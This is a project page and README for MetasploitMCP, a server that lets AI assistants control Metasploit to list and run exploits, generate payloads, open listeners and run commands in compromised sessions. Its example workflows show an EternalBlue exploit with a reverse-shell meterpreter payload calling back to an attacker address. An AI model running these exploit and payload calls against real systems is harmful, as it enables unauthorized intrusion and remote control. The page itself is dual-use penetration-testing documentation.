MCP ExplorerExplorer

Metasploitmcp

@GH05TCREWon 9 months ago
41 Apache-2.0
FreeCommunity
AI Systems
MCP Server for Metasploit

Overview

What is Metasploitmcp

MetasploitMCP is a Model Context Protocol (MCP) server designed for integration with the Metasploit Framework, enabling AI assistants to interact with Metasploit functionalities through a natural language interface.

Use cases

Use cases for MetasploitMCP include automating penetration testing tasks, enhancing security assessments with AI-driven insights, and simplifying complex security testing workflows through natural language commands.

How to use

To use MetasploitMCP, install the Metasploit Framework and ensure msfrpcd is running. Clone the repository, install the required Python packages, and configure environment variables if necessary. You can then use various commands to interact with Metasploit’s features.

Key features

Key features of MetasploitMCP include exploitation workflow management, post-exploitation tools, listener management, and support for auxiliary modules. Users can list exploits and payloads, run exploits, manage sessions, and execute auxiliary modules.

Where to use

MetasploitMCP can be used in cybersecurity, penetration testing, and security research fields, providing a bridge between AI and security testing workflows.

Content

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session

Handler Management

  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Prerequisites

  • Metasploit Framework installed and msfrpcd running
  • Python 3.10 or higher
  • Required Python packages (see requirements.txt)

Installation

  1. Clone this repository
  2. Install dependencies:
    pip install -r requirements.txt
    
  3. Configure environment variables (optional):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

  • HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
  • STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
  "mcpServers": {
    "metasploit": {
      "command": "uv",
      "args": [
        "--directory",
        "C:\\path\\to\\MetasploitMCP",
        "run",
        "MetasploitMCP.py",
        "--transport",
        "stdio"
      ],
      "env": {
        "MSF_PASSWORD": "yourpassword"
      }
    }
  }
}

Other MCP Clients

For other MCP clients that use HTTP/SSE:

  1. Start the server in HTTP mode:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. Configure your MCP client to connect to:

    • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)

Handler Management

  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (Command Prompt):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • In Claude Desktop config:

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0

Tools

No tools

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